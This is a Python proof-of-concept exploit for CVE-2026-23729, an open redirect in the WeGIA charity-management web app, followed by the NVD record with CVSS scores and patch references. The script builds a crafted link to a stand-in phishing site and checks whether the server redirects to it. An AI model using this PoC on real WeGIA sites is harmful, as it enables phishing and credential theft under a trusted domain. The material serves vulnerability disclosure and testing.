CVE-2026-23729

import requests # CVE-2026-23729 PoC - WeGIA Open Redirect # Target: WeGIA < 3.6.2 # Vulnerability: Open Redirect via nextPage parameter def exploit_open_redirect(target_url, redirect_target): """ Exploits the open redirect vulnerability in WeGIA Args: target_url: Base URL of vulnerable WeGIA instance redirect_target: Malicious URL to redirect victims to Returns: dict: Exploitation result with details """ # Construct malicious URL with open redirect parameters params = { 'metodo': 'listarDescricao', 'nomeClasse': 'ProdutoControle', 'nextPage': redirect_target } exploit_url = f"{target_url}/WeGIA/controle/control.php" try: # Send request and check for redirect response = requests.get(exploit_url, params=params, allow_redirects=False) result = { 'exploit_url': str(response.url), 'status_code': response.status_code, 'redirect_location': response.headers.get('Location', None), 'vulnerable': response.status_code in [301, 302, 303, 307, 308] and redirect_target in response.headers.get('Location', '') } return result except requests.exceptions.RequestException as e: return {'error': str(e)} # Example usage if __name__ == "__main__": target = "http://vulnerable-server.com" malicious_url = "https://attacker-controlled-site.com/phishing" result = exploit_open_redirect(target, malicious_url) print(f"Vulnerable: {result.get('vulnerable', False)}") print(f"Redirect to: {result.get('redirect_location')}")

{"cve": {"id": "CVE-2026-23729", "sourceIdentifier": "[email protected]", "published": "2026-01-16T20:15:51.047", "lastModified": "2026-01-30T18:30:09.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. Prior to 3.6.2, an Open Redirect vulnerability was identified in the /WeGIA/controle/control.php endpoint of the WeGIA application, specifically through the nextPage parameter when combined with metodo=listarDescricao and nomeClasse=ProdutoControle. The application fails to validate or restrict the nextPage parameter, allowing attackers to redirect users to arbitrary external websites. This can be abused for phishing attacks, credential theft, malware distribution, and social engineering using the trusted WeGIA domain. This vulnerability is fixed in 3.6.2."}, {"lang": "es", "value": "WeGIA es un gestor web para instituciones benéficas. Antes de la 3.6.2, se identificó una vulnerabilidad de redirección abierta en el endpoint /WeGIA/controle/control.php de la aplicación WeGIA, específicamente a través del parámetro nextPage cuando se combina con metodo=listarDescricao y nomeClasse=ProdutoControle. La aplicación no valida ni restringe el parámetro nextPage, permitiendo a los atacantes redirigir a los usuarios a sitios web externos arbitrarios. Esto puede ser explotado para ataques de phishing, robo de credenciales, distribución de malware e ingeniería social utilizando el dominio de confianza de WeGIA. Esta vulnerabilidad se corrigió en la 3.6.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "419B3A85-5754-4198-A73E-92A9DA8E7A68"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/pull/1333", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/3.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-w88p-v7h6-m728", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}